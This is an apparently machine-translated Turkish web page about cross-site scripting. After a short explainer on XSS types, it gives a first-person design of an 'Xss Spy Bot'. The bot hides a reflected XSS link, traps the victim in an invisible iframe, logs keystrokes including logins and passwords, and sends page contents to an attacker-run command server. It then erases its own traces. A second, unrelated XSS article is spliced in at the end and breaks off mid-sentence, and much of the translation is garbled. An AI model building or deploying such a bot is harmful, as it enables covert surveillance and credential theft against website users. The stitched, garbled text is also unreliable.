Kolay Hack: Siteler Arası Komut Dosyası Dahil Etme Yoluyla Veri Nasıl Elde Edilir. XSS güvenlik açıklarından en iyi şekilde yararlanma Xss noscript uyarısı

XSS güvenlik açığı nedir? Ondan korkmalı mıyım?

Siteler Arası Komut Dosyası (kısaca XSS), birçok web uygulamasını etkileyen yaygın bir güvenlik açığıdır. Saldırganın, siteyi ziyaret eden kullanıcının tarayıcısı kodu çalıştıracak şekilde bir web sitesine kötü amaçlı kod enjekte etmesine olanak tanır.

Tipik olarak, bu tür bir güvenlik açığından yararlanmak, kullanıcıyla bir miktar etkileşim gerektirir: ya sosyal mühendislik kullanılarak virüslü bir siteye çekilirler ya da yalnızca kullanıcının siteyi ziyaret etmesini beklerler. Bu nedenle, geliştiriciler genellikle XSS güvenlik açıklarını ciddiye almazlar. Ancak ele alınmazlarsa, ciddi bir güvenlik tehdidi oluşturabilirler.

Yeni içerik ekleyerek WordPress yönetici panelinde olduğumuzu hayal edin. Bunun için XSS'ye karşı savunmasız bir eklenti kullanırsak, tarayıcıyı yeni bir yönetici oluşturmaya, içeriği değiştirmeye ve diğer kötü niyetli eylemler gerçekleştirmeye zorlayabilir.

Siteler arası komut dosyası çalıştırma, bir saldırgana bugünlerde en önemli yazılım parçası olan tarayıcı üzerinde neredeyse tam kontrol sağlar.

XSS: Enjeksiyon Güvenlik Açığı

Herhangi bir web sitesi veya uygulamanın birden çok veri giriş konumu vardır - URL'nin kendisine kadar form alanları. Veri girişinin en basit örneği, bir forma bir kullanıcı adı ve şifre girdiğimiz zamandır:

Şekil 1. Veri giriş formu

İsmimiz, gelecekte bizimle iletişim kurmanız için sitenin veritabanında saklanacaktır. Elbette, herhangi bir siteye giriş yaptığınızda, "Hoş Geldiniz Ilya" tarzında kişisel bir selamlama gördünüz. Bu amaçla, kullanıcı adları veri tabanında saklanır.

Enjeksiyon, bir ad veya parola yerine özel bir karakter dizisi girildiğinde sunucuyu veya tarayıcıyı saldırganın ihtiyaç duyduğu belirli bir şekilde yanıt vermeye zorlayan bir prosedürdür.

Siteler arası komut dosyası oluşturma, bir web sitesi adına tarayıcıda eylemleri yürütecek kodu enjekte eden bir enjeksiyondur. Bu, kullanıcının bilgisi olmadan hem kullanıcının bildirimiyle hem de arka planda olabilir.

Şekil 2. Siteler arası komut dosyası oluşturmanın görsel bir diyagramı

En basit örnek, bir bildirim penceresi görüntüleyen temel bir komut dosyasıdır. Şuna benzer:

Tablo 1. Açılır pencereyi çağıran komut dosyası

Bu komut dosyası "BU XSS GÜVENİLİRLİĞİ !!!" yazısıyla bir pencere çağırır. Kullanıcının tarayıcısı, bu komut dosyasını sitenin yasal kodunun bir parçası olarak algılar ve yürütür.

XSS güvenlik açıklarının türleri

Tüm XSS güvenlik açıkları aynı değildir, birçok türü vardır. Türler ve nasıl etkileşimde bulundukları aşağıda verilmiştir:

Şekil 3. XSS güvenlik açıklarının türleri

Sunucu tarafı kodunun neden olduğu güvenlik açıkları (Java, PHP, .NET vb.):

Geleneksel XSS saldırıları:

Yansıyan (süreksiz). Yansıyan bir XSS saldırısı, bir kullanıcı özel olarak hazırlanmış bir bağlantıya tıkladığında tetiklenir. Bu güvenlik açıkları, bir web istemcisi tarafından, çoğunlukla HTTP istek parametrelerinde veya HTML biçiminde sağlanan veriler, uygun işlem yapılmadan o istemci için bir sonuç sayfasını ayrıştırmak ve görüntülemek için doğrudan sunucu tarafındaki komut dosyaları tarafından yürütüldüğünde ortaya çıkar.
Saklandı (kalıcı). Depolanan XSS, bir saldırgan, orijinal sayfaya her erişildiğinde tarayıcıda çalışan bir sunucuya kötü amaçlı kod enjekte edebildiğinde mümkündür. Bu güvenlik açığının klasik bir örneği, HTML yorumlarına izin veren forumlardır.

İstemci tarafı kodunun neden olduğu güvenlik açıkları (JavaScript, Visual Basic, Flash vb.):

DOM modelleri olarak da bilinir:

Yansıtılmış (süreksiz). Sunucu tarafında olduğu gibi, ancak bu durumda saldırı, kodun tarayıcı tarafından işlenmesi nedeniyle mümkündür.
Saklandı (kalıcı). Sunucu tarafında depolanan XSS'ye benzer şekilde, yalnızca bu durumda kötü amaçlı bileşen, tarayıcı depolaması kullanılarak istemci tarafında depolanır.

Altyapı güvenlik açıkları (tarayıcı, eklentiler, sunucular vb.):

Çok nadir, ancak daha tehlikeli:

İstemci tarafı altyapısı. Kötü amaçlı bir bileşen, tarayıcı işleviyle, örneğin XSS filtresi vb. İle herhangi bir değişiklik yaptığında ortaya çıkar.
Sunucu tarafı altyapısı. Bir web sunucusu istekleri doğru şekilde işlemediğinde ve değiştirilmesine izin verdiğinde ortaya çıkar.
Ağ. İstemci ile sunucu arasındaki iletişime sızmak mümkün olduğunda gerçekleşir.

Kullanıcı kaynaklı güvenlik açıkları:

Kendinden XSS. Genellikle, bir kullanıcı tarayıcısında yanlışlıkla kötü amaçlı kod çalıştırdığında, sosyal mühendisliğin bir sonucu olarak gerçekleşir.

XSS tehlikesi nedir?

Sitenizi XSS'den nasıl koruyabilirsiniz? Güvenlik açıkları için kod nasıl kontrol edilir? Sucuri Güvenlik Duvarı gibi, bu tür saldırıları önlemek için özel olarak tasarlanmış teknolojiler vardır. Ancak bir geliştiriciyseniz, XSS güvenlik açıklarını nasıl belirleyeceğiniz ve düzelteceğiniz hakkında kesinlikle daha fazla bilgi edinmek isteyeceksiniz. XSS ile ilgili makalenin sonraki bölümünde bunun hakkında konuşacağız.

Herkes uzun zamandır bir saldırganın XSS kullanarak bir kurbana çerez göndermeye, CSRF belirteçlerini okumaya, kimlik avı saldırısı yapmaya (sahte bir giriş formu oluşturarak), bir kullanıcı adına bazı eylemler gerçekleştirmeye ve diğer bazı benzer saldırılara (belki de bu tüm olasılıklar, ancak bunlar şu anda bildiğim en popüler olanlar).

Bu yöntemin amacı, saldırıya uğrayan sitede ziyaret ettiği kullanıcı adına sayfaları izlemenin yanı sıra tuş vuruşlarını da izlemektir (ayrıca hareket ettirebilir ve fare tıklamalarını da yapabilirsiniz, ancak benim için bu gereksiz olacaktır, çoğu durumda pek kullanışlı bir bilgi olmayacaktır). ...
Şimdi maksimum fayda için - algoritmanın şöyle olacağına inanıyorum:

tanımlama bilgilerini okuyun ve gönderin;
bilgilerin geri kalanını okuyun ve gönderin (IP adresi, yüklü eklentiler, tarayıcı sürümü ve türü, flash desteği, silverlight desteği vb.) [isteğe bağlı]
dahili ağ hakkında bilgi alırız, yönlendiriciyi aşarız [isteğe bağlı]
farklı belirteçleri okuyun ve gönderin [isteğe bağlı];
phishing [isteğe bağlı] uyguluyoruz;
kullanıcı tarafından "elle" "bir şeyler yapın [isteğe bağlı];
sekmeyi kapatana veya siteden ayrılana kadar onu gözetlemeye ve bilgi almaya devam ediyoruz;

Listedeki tüm isteğe bağlı öğeler, duruma ve XSS kullanılarak elde edilecek amaçlar için belirli önceliklere bağlı olarak gerçekleştirilmelidir, bazen birbirleriyle çakışabilirler (daha doğrusu bunları birleştirmeye çalışırsanız, tek tek gerçekleştirirseniz) ve XSS kullanımının başarısız olma olasılığını artırabilirler.
Ancak her durumda ilk ve son noktalara mutlaka uyulmalı, aslında yazının ana kısmı bu listeden son nokta ile ilgili olacaktır.

Hedefe geliyoruz.

Uzaktan başlayacağım: JavaScript aracılığıyla, sayfayı yeniden yüklemeden adres çubuğundaki yolu değiştirmek mümkündür. Örneğin, bir kullanıcı şu adrese bir sayfa yüklediyse

http://site.com/some/path/to/page/

Ardından adres çubuğunda içerik aşağıdaki gibi olacaktır (sayfayı yeniden yüklemeden):

http://site.com/new-url/

http: //site.com/new-url/

Bu arada, bu özellik, Yansıtılmış XSS içeren bağlantıya tıkladıktan sonra URL'yi kullanıcılardan (veya daha dikkatli kullanıcı kategorisinden - yöneticilerden) gizlemek gerektiğinde, bazen oldukça yararlıdır, böylece daha sonra, sayfayı yükledikten sonra, adres çubuğuna hiçbir şey bulunamadı.

http: //site.com/search.php?q\u003d123

http://site.com/search.php?q\u003d123

http: //site.com/search.php?q\u003d123

onu bu fırsattan mahrum edeceğiz.

Ancak bu tekniğin daha da ilginç ve güçlü kullanımları vardır. Kullanıcının bağlantıya tıkladıktan sonra sitede kalışını simüle edeceğiz, aslında her zaman aynı sayfada kalacak ve bu sırada üçüncü taraf bir komut dosyası çalışacak, saldırgana bilgi çıkaracak ve gönderecektir. Böylece, XSS, kullanıcı bu alandaki bağlantıyı takip ettiği sürece çalışacaktır. .

Fikri biz tanımlıyoruz.

Genel çalışma prensibi şu şekildedir: bir kullanıcı XSS \u200b\u200bile bir sayfayı ziyaret ettiğinde, komut dosyası sayfayla aynı adrese sahip bir iframe oluşturur ve bunu ön plana "ekler", kullanıcı sayfanın normal olarak yüklendiğini gösterir, çünkü iframe yalnızca kodda görülebilir sayfalar.

Ve yardımcı komut dosyası, casus botun mantığını kontrol eder, yani, adres çubuğunda değiştirmek için çerçevedeki adres değiştiğinde izler, ancak çerçevenin yeni değiştirilen adresinde farklı bir alan varsa, yeni bir vlkadka'da açabilirsiniz veya sayfayı yeniden yüklemeniz gerekir. yanmamak için.
Bu nedenle, XSS'nin o anda çalışmayı durdurması için, kullanıcının ya sayfayı manuel olarak yenilemesi gerekir (XSS Yansıtılmışsa ve POST yöntemiyle iletilmişse, diğer durumlarda güncelleme kaydedilmez ve bu arada, bazı tarayıcılar artık sayfayı güncellerken POST isteğini tekrar gönderebilir) sekmeyi kapatın veya başka bir etki alanına geçin (bu durumda yine de kontrolü kaybetmekten kaçınabilirsiniz).

Saldırıya uğrayan etki alanının bir alt etki alanına giderse, saldırganın seçimi, yani XSS işe yarayacaktır, ancak kullanıcının adres arasında bir tutarsızlık görme olasılığı çok düşüktür. Buradaki duruma göre örneğin google.ru alanı saldırıya uğradıysa, kullanıcının Google'ın bulut dosya hizmetine gittiğini düşünüyorum, ki bu genellikle drive.google.ru alt etki alanında yer alıyor, o zaman adres çubuğuna bakarken yakalamayı fark etme olasılığı oldukça yüksek. , bu hizmeti sık sık kullanırsa... Aksi takdirde riske girebilirsiniz. Ancak, Cross Origin Politikası buna izin vermeyeceğinden, verilerini bir alt etki alanına sahip bir çerçeveden okuyamayacağımızı dikkate almalıyız. Ancak, gizli modda ana etki alanına sakince tırmanabiliriz (aşağıda bu konuda daha ayrıntılı olarak daha ayrıntılı bilgi vereceğiz).

Sadece bu yöntemin sınırlamaları vardır, yani - sitenin web sunucusunun yanıtlarında bir başlık varsa çalışmaz. X-Frame-Seçeneklerianlamı ile REDDETMEK... Ama şahsen, bu tür sitelerle sadece birkaç kez tanıştım, şimdi yarısı bile SAMEORIGINtam kısıtlama bir yana, maruz kalmamış REDDETMEK.

Fikri analiz ediyoruz.

Şimdi birçok kişi muhtemelen BeEF gibi harika bir şeyi hatırladı, ki bu da birçok ilginç şeye sahip. Bu arada, çerçevede zorunlu kullanıcı yeniden yönlendirme seçeneği de vardır, ancak adres çubuğundaki adres değişmez, bu da masayı hızlı bir şekilde yakabilir ve bu seçenek başka amaçlara biraz hizmet eder.
Genel olarak, BeEF'e ihtiyacınız olan hemen hemen her şeye ve hatta birçok ek işleve sahiptir, ancak kişisel olarak ek işlevler istedim, yani:

saldırıya uğrayan kullanıcının erişebildiği sayfaların kodunu gerçek zamanlı izleme yeteneği;
o sitede yazdığı her şeyi (giriş ve şifreden, kısayol tuşlarına ve mesajlara kadar), yani JS'de keylogger'ı izleme yeteneği;
alınan sayfaların kodunu görüntüledikten sonra botunuza gerçek zamanlı olarak JS komutları verme yeteneği;
komutları bota yerel olarak bırakma yeteneği, böylece komutları daha sonra onları "alır" ve doğrudan katılımımız olmadan yürütür;
botun yanma olasılığının düşük olması veya botun meraklı gözlerden "saklanma" yeteneği;

Yukarıda bahsedildiği gibi, BeEF'in harika komut yürütme kuyruğu fikrinden ödünç almaya karar verdim. Örneğin, ayrıcalıklı bir kullanıcı depolanmış XSS ile kontrol paneline tırmandığında botun attığı sayfaları analiz ettik, komutu bot - JS koduna bırakıyoruz, kullanıcının bir sonraki girişinde olduğu gibi, bu düğmeye basıp, bu değeri buraya yaz, vb. Bu kullanıcı bir sonraki sayfayı ziyaret ettiğinde, bot komutları okur ve onları çalıştırır ve onun dümeninde olmamız gerekmez - bu çok uygundur.

Temel olarak, böyle bir bot, elbette, içerik yönetimi için ek "kaldıraçlar" olan bazı sitelerin durum kullanıcıları, diğer kullanıcılar için tasarlanmıştır. İşlevsellik taleplerinden, sunucu tarafı olmadan yapamayacağınız açıktır.

Fikri uygulayalım.

Prensip olarak, makalenin bu bölümünü atlayabilirsiniz, çünkü birileri onu değiştirmek veya kendileri için bitirmek isterse, istenen botu ve bazı ayrıntılarını uygulama sürecini basitçe açıklar. Kodun başındaki bot, üzerinden bazı ayarları yapabileceğiniz değişkenlere sahip olsa da.
İlk olarak, yükleme anından itibaren bot eylemlerinin algoritması:

1) Bir başlığın kontrol edilmesi X Çerçeve Seçenekleri: DENY(varsa, oltaları yuvarlayın);
2) Bir çerçeve yerleştirmek ve botun tüm bileşenlerini kurmak;
3) Komut dosyasını ve HTML kodundaki tüm izleri kaldırma;
4) Sunucu tarafı ile iletişim kurmak ve veri göndermeye başlamak, yanıtlara tepki vermek (sunucudan komutlar almak);

İlk nokta tamamen tamamlanmadı, yani bot yalnızca ilk sayfayı ve kök başlığını kontrol ediyor. Gerçek şu ki, genellikle bu başlıklar web sunucusu tarafından tüm sayfalar için bir kerede gömülür ve her şeyin ayrı bir sayfa için "elle" yapılması çok nadirdir. Ve bu unvanın kendisi oldukça nadirdir. İkinci ve üçüncü hakkında söylenecek özel bir şey yok, her şey daha düşük olacak.

Kodunuza bot betiği kodunu eklemeden önce, tespit şansını azalttığı ve en önemlisi çerçeveye bir adres eklerken meydana gelen özyinelemeyi engellediği için, adres çubuğundaki XSS işaretlerinden hemen (JS kodundan) kurtulmanız gerektiğinin görece önemli bir nokta vardır. aynı XSS \u200b\u200bkoduyla, bu da kendi başına başka bir çerçeve oluşturur ve bu böyle devam eder.

Ancak her ihtimale karşı, bot kodu böyle bir çerçeve özyinelemesini tespit etme ve onu önceden oluşturulmuş bir çerçeveye ilk kez bir çerçeve ekleme girişiminde önleme olasılığını uygular, ancak yalnızca ona güvenmemek, bot kodunu yüklemeden önce ek olarak kodu silmek daha iyidir. Henüz herhangi bir sorunla karşılaşmadım.

Çerçeve güncelleme kontrol işlevi. Olay işleyicilerini asarak bu sorunu ekonomik olarak çözmenin birkaç yolunu denedim. contentWindowveya contentDocument, ancak hiçbir şey başarılı olmadı, bu yüzden çerçevenin adresini kontrol edecek ve bunu daha önce kaydedilenle karşılaştıracak bir işlev yazmam ve buna dayanarak çerçevenin güncellenip güncellenmeyeceğine (adresin değişip değişmediğine) karar vermem ve ardından kendini yinelemeli olarak çağırmam gerekti.

Saniyede bu tür kontrollerin sıklığı bir değişken tarafından kontrol edilir gecikmebot kod dosyasının başında belirtilir. Ancak daha sonra, daha önce yazdıktan sonra daha verimli bir çözüm buldum - basit bir çözüm kullanın yüklemekare başına, bu yüzden bu işlevi bıraktım, ancak daha sonra daha fazla talep görmesi durumunda onu yorumladım.

Sayfanın HTML kodunu gönderme.

Burada şema oldukça basittir - çerçevenin her yeniden yüklenmesinden sonra (ilk yükleme dahil), bot sunucuya sayfanın tüm HTML kodunu geçerli adresiyle birlikte gönderir, böylece daha sonra kodun gerekli sayfalara ait olup olmadığını ayırt edebilirsiniz.

Sunucu, sayfaları saklama mantığını uygular - her etki alanı için sunucu bu etki alanının adıyla bir klasör oluşturur ve orada tüm verileri kaydederiz. Sayfa kodları kaydedilir ve sürekli olarak en son sürümlere güncellenir, ancak her yeni günde sayfanın yeni bir kopyası oluşturulur, böylece gerekirse sürüm geçmişini kontrol edebilirsiniz. Yani /news.php1 Eylül'de durum güncellenecek ve 2 Eylül'de bunun bir kopyası oluşturulacak, yalnızca o gün için ve dolayısıyla her gün tekrar (kullanıcı bu sayfayı her gün ziyaret ederse) ilgili olacak. Sayfa adı, site köküne göre (yani, etki alanı olmadan) bu sayfanın tarih ve yolundan oluşur.

JavaScript'te Keylogger.

Fikir zaten bazı meraklılar tarafından uygulandı, ancak benim için geliştirmeleri uymuyordu, sadece çoğu oldukça basit olduğu için, yani basılan tuşun kodunu tespit ettiler ve aracılığıyla String.fromCharCodesembollere çevrildi. Ancak bu yöntemin bir takım dezavantajları vardır - vardiya, kontrol, boşluk vb. Gibi kontrol tuşları herhangi bir biçime dönüştürülmez (genellikle sadece boş bir karakterdir), alfanümerik tuşların shift tuşuyla etkileşimi yanlış şekilde kaydedilir, çünkü bunun programla uygulanması gerekir ve ayrıca, basılan tüm tuşlar büyük harf olarak görüntülenir ve bu da programla düzeltilebilir.

Sonuç, tüm sayı, harf ve temel karakter anahtarlarını doğru bir şekilde algılayan, her iki düzen üzerinde çalışan, vardiyaya yanıt veren ve tüm ana özel anahtarları günlüğe kaydeden bir keylogger oldu. Doğru, bazı makinelerde (vardiya ve numaraya basıldığında basılan dijital satırın üst kısmında) bazı karakterler, bazı şirketlerin bazıları için değiştirdiği ana standarda göre uygulandıkları için farklılık gösterebilir.
Basılan karakterlerin her bir bölümü, metin öğesi odağı kaybedene kadar müşteri tarafından tutulur. Daha sonra bu kısım, her gün yeni bir kopya ile oluşturulacak bir metin dosyasına kaydedildiği sunucuya gönderilir, böylece büyük boyutlarda büyüme olmaz ve kullanıcının böyle bir zamanda ne yazdığını hızlı bir şekilde bulabilirsiniz.
Anahtarların kendilerine ek olarak, metnin yazıldığı öğe hakkındaki bilgiler her bölümle birlikte sunucuya gönderilir (yani, , [ </i>veya biraz <i><body> </i>kullanıcı kısayol tuşlarını kullandığında), öğenin adına ek olarak, temel verileri (id, ad, sınıf - varsa) gönderilir, böylece kodda kolayca bulunabilir. Ve tabii ki setin bulunduğu sayfanın adresi ve bu setin yaklaşık zamanı kaydedilir. Genel olarak, klavyeyi tıklatan kullanıcı hakkındaki bilgiler, sonraki analizi için yeterince gönderilir.</p> <h3><span><u><b>Botunuza komuta edin.</b> </u> </span></h3> <p>Bu işlem bir saldırgan tarafından veya botun sunucu kısmının başlatıldığı tarafta, hatta uzaktan gerçekleştirilebilir. Sunucu betiğini başlattıktan sonra, web arayüzü üzerinden çalışan bot ve denetleyicisinin isteklerine hizmet eden, kendi kendine yazılmış minyatür bir web sunucusu başlar. Yani, başladıktan sonra web sunucusu, bota komutlar vermeye başlayabileceğiniz üzerine tıklayarak bir bağlantı verir.</p> <p>Bu kontrol paneli hakkında. Öncelikle, bir şifre ile sınırlandırmak gerekiyordu (yol ve çok az kişi bu tür bir bağlantı noktasında çalışan hizmet hakkında veya bu hizmeti kullanmak için oturum açmanız gereken adres hakkında bilgi sahibi olacak), böylece sunucuya ilk girdiğinizde sağlanan bir şifre isteyecektir. adres çubuğunda (bir örnek verilecektir), orijinal şifre şurada saklanır: <i>password.txt</i>bu değiştirilebilir. İlk ziyaretten sonra, web sunucusu tarayıcıya parolayı bir tanımlama bilgisine kaydetmesi talimatını verecektir, böylece artık endişelenmenize gerek kalmaz.</p> <p>Botun kendisine komut gönderme sayfasında, botun durumu hakkında - şu anda çevrimiçi mi yoksa çevrimdışı mı olduğu ve ilki ana bilgisayar, yani komutların bota gönderileceği sitenin IP adresi veya etki alanı olan birkaç ayar hakkında bilgi de vardır. Bu, tanımlanabilmeleri için birkaç sitenin bu botu içermesi durumunda hesaplanır. Sunucuda, bu durumda, tüm veriler de etki alanı adlarına sahip klasörlere bölünür. <br> Daha sonra, bota JS'de komutların yazılacağı pencere ve bu JS kodunun nerede yürütüleceğini belirleyen seçenek, botun bulunduğu ana pencerede veya bir çerçeve içinde gelir - bu, her ihtimale karşı kolaylık sağlamak için yapılır.</p> <p>Bot çevrimiçi değilse, sunucu basitçe komutları kaydeder ve daha sonra bot çevrimiçi olduğunda, yani kullanıcı sayfayı tekrar ziyaret eder veya saldırganın bağlantısını izler - bu komutlar yürütülür. <br> Bu, ilk keşif sırasında, kullanıcı tarafından ziyaret edilen tüm sayfaları (örneğin, kişisel bir hesap), JS'de komutları derlediğimiz kodu inceledikten sonra attıysa, bu çok kullanışlıdır, böylece daha sonra bot, ihtiyacımız olan bağlantılara tıklar, gerekli verileri girer, gerekli resimleri görüntüler vb. belirlenen hedefe ulaşmak.</p> <p>Ya da doğrudan gerçek zamanlı olarak, kod aracılığıyla sayfaların içeriğine hızlıca bakabilir ve bota diğer sayfaların kodunu göndermesi, başka bir adrese gitmesi vb. Komutları verebilirsiniz. Ve tüm bunlar, sakin bir şekilde gezinen kullanıcı tarafından "ekranın arkasında" yapılacaktır. çerçeve aracılığıyla site.</p> <p>Size kolaylık sağlamak için, en sık kullanılan talimatları JS'deki tüm işlevler halinde oluşturabilir ve daha sonra kaynak dosya botlarına girebilirsiniz ( <i>xsb.js</i>dosya yapısı aşağıda tartışılacaktır) ve kullanım. Ya da, yalnızca temel olmasına ve yeni bir şey olmamasına rağmen, botta gömülü olan işlevlerin işlevlerini kullanın, ancak örneğin, çerçeve yeniden yüklendiğinde değil, istediğiniz zaman sayfa kodunu gönderme işlevini kullanabilirsiniz. Kullanıcı adına birkaç sayfanın içeriğini görüntülemek (ve bu içeriği sanal elleriyle çalıştırmak) için kendisine aktarılan linkleri arka planda yeni çerçevelerde açacak bir fonksiyon yazabilirsiniz.</p> <h3><span><u><b>Kendi kodunuzu kaldırmak.</b> </u> </span></h3> <p>Eh, son özellik oldukça basit bir şekilde uygulanır (dosyada istenen değişkeni ayarlayarak devre dışı bırakılabilir, bunlar yorumlanır). Komut dosyası, tüm olay işleyicilerini kurup astıktan, tüm değişkenleri ve işlevleri oluşturduktan sonra kendini siler.</p> <p>Sonuçta, tüm veriler tarayıcı aracılığıyla zaten RAM'e yüklendi, bu yüzden endişelenecek bir şey yok, ancak bu teoride, belki daha sonra hesaba katmadığım bazı problemler olacak, bu yüzden devre dışı bırakılabilecek bir değişken verdim. gereklilik.</p> <p>Tüm komut dosyalarını kaldırdıktan sonra, bir çerçevenin varlığı onun hakkında oldukça dolaylı olarak konuşmadığından ve kodun kendisi yalnızca tarayıcının ağ trafiği geçmişi günlüklerinde bulunabileceğinden (geliştirici paneli açık değilse birçok tarayıcıda varsayılan olarak tutulmaz) XSS'yi fark etmek son derece zor olacaktır. ...</p> <h3><span><u><b>Sunucu bölümü.</b> </u> </span></h3> <p>Botu başlatmanın daha kolay ve daha rahat bir yolu için, bota hizmet edecek soketlere kendi küçük web sunucumu yazmaya, gönderilen veriyi almak ve yerleştirmek için tüm işlemleri sağlamaya, saldırgan ile bot arasında mesaj iletmeye ve saldırgana komuta etmek için bir web arayüzü oluşturmaya karar verildi. ... <br> Sunucu python ile yazılmıştı, sadece standart kitaplıkları kullanmaya çalıştım, böylece başlatmadan önce hiçbir şey yüklememe gerek kalmadı. Ayrıca, sunucunun kendisi komut dosyalarındaki bazı verileri düzenler, yani botun JS komut dosyasında, komut sunucusunun adresini ayarlamanıza gerek yoktur, web sunucusunun kendisi gerekli olanı başlangıçta oraya koyacaktır. Sunucu yapılandırmasında yalnızca bir parametre vardır - başlayacağı bağlantı noktası (varsayılan olarak 8000). <br> Başladıktan sonra, sunucu gerekli tüm verileri - kaydırılması gereken JS betiğine bir bağlantı, komut paneline bir bağlantı veya daha doğrusu harici ve yerel adreslere bağlantılar - görüntüleyecektir.</p> <h3><span><u><b>Bir botla çalışma şeması.</b> </u> </span></h3> <p>Sunucuyu sahipsiz bir bağlantı noktasından başlatıyoruz ve bir bot komut dosyasıyla bir bağlantı gönderebilirsiniz, ardından onu izleyen herkes size günün herhangi bir saatinde sunucunun kaydedeceği verileri gönderecektir. Ekibi bota bırakıp işlerini yapmaya devam etmeniz gerekiyorsa, onları basitçe görüntüleyebilirsiniz.</p> <h3><span><u><b>Dosya yapısı.</b> </u> </span></h3> <p>Klasör aşağıdaki dosyaları içerir:</p> <ul><li><b>xsb.py</b>- botun çalıştırması için sunucu bölümünü uygulayan ana dosya ve daha sonra sadece sunduğu bağlantıyı kullanın;</li> <li><b>xsb.js</b>- botun JS kodu burada saklanır, bağlantı sunucu tarafından verilir, başlangıçta kendi takdirinize bağlı olarak değiştirilebilecek konfigürasyon değişkenleri bildirilir (bazıları, yani ana bilgisayar ve bağlantı noktası, sunucu daha sonra ortaya çıkar, rahatsız etmenize gerek yoktur);</li> <li><b>panel.html</b>- buradan sunucu bot kontrol panelinin kodunu alır, arayüzü kendi takdirinize göre değiştirebilirsiniz;</li> <li><b>password.txt</b>- kontrol panelindeki şifre burada saklanır ve değiştirilebilir;</li> <li><b>kaydedilen veriler</b>- bu, site etki alanlarına sahip klasörlerin oluşturulacağı ve tüm bilgilerin kaydedileceği bir dizindir.</li> </ul><p>Bir kez daha, dosyaya not ediyorum <i>xsb.js</i>daha sonra panel aracılığıyla çağrılan kendi işlevlerinizi, çok büyük kod bölümleri yazmadan ekleyebilirsiniz;</p> <h3><span><u><b>Sonuçların küçük bir analizi.</b> </u> </span></h3> <p>Bir kullanıcıyı çerçeveler boyunca XSS ile bir sayfada tutmak için kendi icat ettiğim yöntemi yazdıktan sonra (icat edilmiş bir tane olarak - bunu şahsen kendim için keşfettim, başka birinin bu tekniği kendisi için "icat etmesi" oldukça olasıdır veya genellikle halkın içinde bir yerdedir. parladı, çünkü şimdi gerçekten yeni bir şey geliştirmek oldukça zor ve kural olarak, bir süre sonra "Simpsonlar'da zaten olduğunu" keşfettiniz) BeEF'i daha detaylı incelemeye ve wiki'sini okumaya başladım. Sonra, aynı amaca ulaşmak için başka bir tekniğin uygulandığını keşfettim - kullanıcının sayfadaki çalıştırılabilir XSS (orada denilen) ile zamanını uzatmak <i>tarayıcıdaki adam</i>). Ve şu şekilde uygulandı: ilk sayfadaki tüm bağlantılar, herhangi birine tıklandığında, komut dosyası sayfayı yeniden yüklemeyecek şekilde değiştirildi, ancak Ajax aracılığıyla sunucuya bir istek gönderdi ve yanıta alınan verileri ekledi, yani yapay olarak güncelledi diyebiliriz, bu da düzenli bir yenilemeden neredeyse ayırt edilemez.</p> <p>Bu nedenle, bu fikri ilk uygulayan ben değildim (yöntemler farklı olsa bile). Ancak bu yöntemlerin her ikisinin de dezavantajları vardır:</p> <p>Yöntemi yükle <iframe> yanıtta bir başlık varsa çalışmıyor <i>X Çerçeve Seçenekleri: DENY</i>, ancak aksi takdirde normal bir tarayıcı penceresi gibi hareket eder;</p> <p>Ajax yöntemi, tarayıcı destekliyorsa her zaman çalışır (artık tüm büyük tarayıcılar bunu desteklemektedir), ancak yeni Web 2.0 standardıyla, JS yoluyla herhangi bir öğenin özel olayları tarafından giderek daha fazla geçiş tetiklenir. Bir keresinde Google AdWords'e gittim ve HTML ve JS'lerinin orada nasıl etkileşime girdiğini görmeye karar verdim, çünkü tüm örümceklerim bu hizmetin haritasını oluşturmakta son derece kötüydü. Ve bütün akşamı sessizce mahvettim, orada ne kadar olağan değildi, metin öğeleri düğmeler, anahtarlar ve sürgülerken ve az önce anlatmadıkları şeylerdi ve her birinin üzerinde asılı yaklaşık 30 farklı olay işleyicisi vardı.</p> <p>Yani, süslü bir sitede, geçiş düğmesi (öznel olarak bir bağlantı) normal bir etiket aracılığıyla uygulanacaktır. <i><span> </i>, stillerle yüklü olan ve hangi olay işleyicilerin asılı olduğu, bunlardan biri, örneğin, <i>onclick, kullanıcıyı başka bir sayfaya yönlendirir. [İ] gibi standart öğeler de vardır <input type=button> </i>ya da ben <i><button> </i>ve bunun gibi, gerçekte diğer sayfalara bağlantı veren, ancak BeEF'in yanıt vermediği ve düğme ve diğer öğelerin çoğuna tıklandığında sayfanın güncellenmeyeceği. Kullanıcıdan sayfayı yenilemesini veya "diğer taraftan" yeniden ziyaret etmesini isteyebilir, bu da aktif XSS oturumumuzu sonlandırır.</p> <p>Dosyaları adlandırmanın kısalığı için ona Xss Spy Bot adını verdim.</p> <p>Not: <br> Periyodik zaman eksikliği ve sürekli dikkat dağınıklığı nedeniyle her şeyin yazılması bir aydan biraz fazla sürdü. Ayrıca bu nedenle, kodun kalitesi ve bir tür hatayla karşılaşma olasılığı oldukça yüksektir. Bu yüzden sizden çok fazla yemin etmemenizi, ancak birisinin sorununu çözebilmeniz için aboneliğinizi iptal etmenizi rica ediyorum. <br> Ben botu sadece 4 makinede test ettim, hepsinde Debian vardı.</p> <p>Bu bot için uzun vadeli planlarda, motivasyon varsa: <br> - botun sunucuya gönderdiği sayfaların kodunun oluşturulmasını uygulayın, böylece tarayıcıda hemen açılır ve anında test edilebilir, "hissedilebilir"; <br> - WebRTC teknolojisindeki güzellikleri yakalamaya çalışacaklar, yani saf JS ile çıkarılamayan yeni bilgiler elde etmenin yollarını bulacaklar; <br> - HTTP üzerinden WebSocket protokolünü kullanarak bot ve sunucu arasında iletişim kurmak; <br> - kontrol paneline biraz kolaylık katın;</p> <ul><li>1. XSS nedir</li> <li>2. XSS görünümleri</li> <li>3. DOM tabanlı XSS'nin özellikleri</li> <li>4.XSS Denetçisi</li> <li>XSS istismarına 5 örnek</li> <li>6. XSS'ye karşı savunmasız siteleri arayın</li> <li>7. XSS güvenlik açıklarını aramak ve taramak için programlar</li> </ul><h2>XSS nedir</h2> <p>Siteler Arası Komut Dosyası (XSS), istemci tarafı kodun (JavaScript) diğer kullanıcıların görüntülediği bir web sayfasına enjekte edilmesini içeren bir güvenlik açığıdır.</p><p>Güvenlik açığı, kullanıcının bir web sayfasına eklenmek üzere gönderdiği verilerin yetersiz filtrelenmesinden kaynaklanmaktadır. Belirli bir örnekle anlamak çok daha kolay. Herhangi bir ziyaretçi defterini düşünün - bunlar, kullanıcıdan gelen verileri kabul etmek ve sonra görüntülemek için tasarlanmış programlardır. Ziyaretçi defterinin giriş verilerini herhangi bir şekilde kontrol etmediğini veya filtrelemediğini, sadece görüntülediğini 